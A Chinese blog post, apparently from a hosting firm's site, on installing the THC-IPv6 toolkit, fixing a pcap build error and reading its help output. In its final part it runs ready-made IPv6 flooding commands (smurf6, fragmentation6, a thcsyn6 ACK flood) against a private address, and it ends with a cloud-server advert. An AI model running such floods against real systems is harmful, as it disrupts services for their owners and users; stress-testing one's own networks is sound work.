支持ipv6类型的ddos测试工具thc-ipv6-创新互联

官网地址

创新互联坚持“要么做到,要么别承诺”的工作理念,服务领域包括:网站设计制作、网站制作、企业官网、英文网站、手机端网站、网站推广等服务,满足客户于互联网时代的宝山网站设计、移动媒体设计的需求,帮助企业找到有效的互联网解决方案。努力成为您成熟可靠的网络建设合作伙伴!

https://www.thc.org/thc-ipv6/

下载

wget https://www.thc.org/releases/thc-ipv6-2.7.tar.gz

安装

[root@20211 mysoft]# tar zxvf thc-ipv6-2.7.tar.gz

[root@20211 mysoft]# cd thc-ipv6-2.7

[root@20211 thc-ipv6-2.7]# make

[root@20211 thc-ipv6-2.7]# make install

install -m0755 -d /usr/local/share/man/man8

install -m0644 -D thc-ipv6.8 /usr/local/share/man/man8

如果在CentOS下安装,提示如下信息,是确实pcap包,运行 “yum install *pcap*”即可

root@202 thc-ipv6-2.7]# make

gcc -O2 -D_HAVE_SSL  -c -o thc-ipv6-lib.o thc-ipv6-lib.c

thc-ipv6-lib.c:40:18: 错误:pcap.h:没有那个文件或目录

In file included from thc-ipv6-lib.c:69:

thc-ipv6.h:90: 错误:expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token

thc-ipv6.h:91: 错误:expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token

thc-ipv6.h:93: 错误:expected ‘)’ before ‘*’ token

thc-ipv6.h:94: 错误:expected ‘)’ before ‘*’ token

thc-ipv6-lib.c: 在函数‘thc_pcap_function’中:

thc-ipv6-lib.c:110: 错误:‘pcap_t’未声明(在此函数内第一次使用)

thc-ipv6-lib.c:110: 错误:(即使在一个函数内多次出现,每个未声明的标识符在其

thc-ipv6-lib.c:110: 错误:所在的函数内也只报告一次。)

thc-ipv6-lib.c:110: 错误:‘pcap_link’未声明(在此函数内第一次使用)

thc-ipv6-lib.c:111: 错误:‘PCAP_ERRBUF_SIZE’未声明(在此函数内第一次使用)

thc-ipv6-lib.c:112: 错误:‘fcode’的存储大小未知

thc-ipv6-lib.c:130: 错误:‘pcap_handler’未声明(在此函数内第一次使用)

thc-ipv6-lib.c:130: 错误:expected ‘)’ before ‘function’

thc-ipv6-lib.c: 在文件层:

thc-ipv6-lib.c:137: 错误:expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token

thc-ipv6-lib.c:163: 错误:expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token

thc-ipv6-lib.c:184: 错误:expected ‘)’ before ‘*’ token

thc-ipv6-lib.c:190: 错误:expected ‘)’ before ‘*’ token

thc-ipv6-lib.c:663: 警告:‘struct pcap_pkthdr’在形参表内部声明

thc-ipv6-lib.c: 在函数‘thc_get_mac_from_sniff’中:

thc-ipv6-lib.c:664: 错误:提领指向不完全类型的指针

thc-ipv6-lib.c: 在函数‘thc_lookup_ipv6_mac’中:

thc-ipv6-lib.c:700: 错误:‘pcap_t’未声明(在此函数内第一次使用)

thc-ipv6-lib.c:700: 错误:‘p’未声明(在此函数内第一次使用)

make: *** [thc-ipv6-lib.o] 错误 1

[root@202 thc-ipv6-2.7]# yum install *pcap*

然后运行make && make install即可

[root@202 thc-ipv6-2.7]# make && make install

gcc -O2 -D_HAVE_SSL  -c -o thc-ipv6-lib.o thc-ipv6-lib.c

[root@20211 thc-ipv6-2.7]# thcping6 ?

thcping6 v2.7 (c) 2014 by van Hauser / THC www.thc.org

Syntax: thcping6 [-Eafqx] [-e ethertype] [-H t:l:v] [-D t:l:v] [-F dst] [-e ethertype] [-L length] [-N

nextheader] [-V version] [-t ttl] [-c class] [-l label] [-d size] [-S port|-U port|-T type -C code] interface

src6 dst6 [srcmac [dstmac [data]]]

Options:

 -T number    ICMPv6 type to send (default: 128 = ping)

 -C number    ICMPv6 code to send (default: 0)

 -S port     use a TCP SYN packet on the defined port instead of ping

 -U port     use a UDP packet on the defined port instead of ping

 -n count     how often to send the packet (default: 1)

 -h        show more command line options (help!)

You can put an "x" into src6, srcmac and dstmac for an automatic value.

Craft a ICMPv6/TCP/UDP packet with special IPv6 or EH header options.

Returns -1 on error or no reply, 0 on normal reply or 1 on error reply.

[root@20211 thc-ipv6-2.7]#

[root@20211 thc-ipv6-2.7]# thcsyn6 ?

thcsyn6 v2.7 (c) 2014 by van Hauser / THC www.thc.org

Syntax: thcsyn6 [-AcDrRS] [-m dstmac] [-p port] [-s sourceip6] interface target port

Options:

 -a    add hop-by-hop header with router alert

 -d    add destination header (can be set up to 150 times)

 -A    send TCP-ACK packets

 -S    send TCP-SYN-ACK packets

 -r    randomize the source from your /64 prefix

 -R    randomize the source fully

 -D    randomize the destination (treat as /64)

 -m dstmac   use this destination mac address

 -s sourceip6  use this as source IPv6 address

 -p port    use fixed source port

Flood the target port with TCP-SYN packets. If you supply "x" as port, it

is randomized.

[root@20211 thc-ipv6-2.7]#

smurf6 ICMP***

[root@20211 /]# smurf6 eth3 fc00:0:0:216::11

Warning: unprefered IPv6 address had to be selected

Starting smurf6 attack against fc00:0:0:216::11 (Press Control-C to end) ...

^C

碎片***

[root@dr101 /]# fragmentation6 eth3 fc00:0:0:216::11

ack***

[root@dr101 /]# thcsyn6 -Ar  eth3 fc00:0:0:216::11 80

命令参考网址

http://tools.kali.org/information-gathering/thc-ipv6

http://manpages.ubuntu.com/manpages/utopic/man8/thc-ipv6.8.html

另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。


网站栏目:支持ipv6类型的ddos测试工具thc-ipv6-创新互联
当前URL:http://ybzwz.com/article/ddppdp.html